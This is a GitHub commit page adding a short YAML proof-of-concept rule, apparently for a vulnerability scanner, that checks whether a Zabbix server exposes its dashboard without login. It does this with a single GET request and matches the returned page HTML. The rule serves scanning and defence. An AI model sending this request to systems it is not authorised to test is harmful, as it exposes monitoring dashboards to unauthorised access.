Create zabbix-authentication-bypass.yml (#480)

chaitin · Oct 16, 2019 · fef56cc · fef56cc
1 parent fc21a70
commit fef56cc
Showing 1 changed file with 11 additions and 0 deletions.
diff --git a/pocs/zabbix-authentication-bypass.yml b/pocs/zabbix-authentication-bypass.yml
@@ -0,0 +1,11 @@
+name: poc-yaml-zabbix-authentication-bypass
+rules:
+  - method: GET
+    path: /zabbix.php?action=dashboard.view&dashboardid=1
+    follow_redirects: false
+    expression: |
+      status == 200 && body.bcontains(b'<a class="top-nav-zbbshare" target="_blank" title="Zabbix Share" href="https://share.zabbix.com/">Share</a>') && body.bcontains(b'<title>Dashboard</title>')
+detail:
+  author: FiveAourThe(https://github.com/FiveAourThe)
+  links:
+    - https://www.exploit-db.com/exploits/47467